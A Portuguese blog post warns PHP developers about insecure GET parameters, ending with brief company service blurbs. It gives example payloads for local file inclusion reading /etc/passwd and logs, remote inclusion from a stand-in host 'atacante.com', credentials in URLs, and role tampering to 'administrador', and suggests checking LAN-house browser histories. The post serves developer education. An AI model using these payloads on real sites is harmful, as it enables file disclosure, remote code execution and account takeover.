Irei abordar nesse post um recurso que é muito utilizado em sites e aplicativos web, que é a passagem de parâmetros via GET (na URL).

Sempre vejo em sites esse recurso sendo utilizado de forma incorreta, dando brecha para que usuários com “segundas” intenções ganhem acesso ao servidor.
– Mas como?
Vejamos dois exemplos de URL que podem gerar um problemão:

http://sitecombrecha.com/index.php?pagina=home.php
http://sitecombrecha.com/login.php?usuario=fulano&senha=abcd1234&perfil=cliente
Na primeira URL o desenvolvedor chama as páginas do site por meio de um include no nome do arquivo que é passado como parâmetro na URL.
Isso possibilita que o atacante consiga visualizar qualquer arquivo do servidor (Desde que o usuário do deamon do web server tenha acesso).
Exemplo para testar a falha:

http://sitecombrecha.com/index.php?pagina=/etc/fstab
http://sitecombrecha.com/index.php?pagina=/etc/passwd
http://sitecombrecha.com/index.php?pagina=/var/log/messages
Se no php.ini a opção allow_url_fopen estiver habilitada, é possível executar arquivos externos da seguinte maneira:

http://sitecombrecha.com/index.php?pagina=http://atacante.com/destroy.php
http://sitecombrecha.com/index.php?pagina=ftp://atacante.com/public/destroy.php
O php permite que funções como include, include_once, require, require_once e fopen façam referencias para URL’s desde que a opção allow_url_fopen esteja habilitada no php.ini.
Para que o script destroy.php do atacante tenha efeito, o servidor web do atacante não deve interpretar o script php, pois senão o script será executado no servidor do atacante.

Na segunda URL estão sendo passados dados sensíveis para a aplicação, que é o login e senha do usuário. Nesse caso o login e senha do usuário podem ficar gravados no histórico do navegador ou no log do proxy.
Se você fizer um formulário de login em HTML e esquecer de colocar method=”post” na tag form ou a escrever errado, por default (w3c) o navegador irá entender method=”get”, e os dados do login irão passar via GET!!!
Exemplo: Dá uma olhada no histórico do navegador de uma LanHouse, ou dá uma olhada no log do proxy dessa LanHouse. É impressionante a quantidade de sistemas e sites que funcionam dessa forma.
Tabém é possível tentar mudar o parâmetro perfil=cliente para perfil=administrador, quem sabe você não vira adm!.
São pequenas coisas que tornam um sistema vulnerável, e essa foi a minha dica para se pensar mais no que deve ser passado na URL.

Obs.: Esse post foi escrito com o único propósito de exemplificar para desenvolvedores como aplicações podem estar vulneráveis a falhas de segurança.

– Programação PHP
Utilização da linguagem de programação PHP, onde conseguimos reduzir custos com licenças de software e grande poder de desenvolvimento com bibliotecas de programação prontas.
Possui atualmente uma grande facilidade na busca de novas técnicas de programação como por exemplo o Ajax, que faz com que as informações não sejam necessárias o recarregamento das paginas, tornando mais rapida a utilização para o usuário.

– Banco de Dados
Mysql – Banco de dados robusto e com grande capacidade de armazenamento de informações.

– SO Servidores
Linux RedHat – que nos garante grande velocidade de processamento e confiabilidade.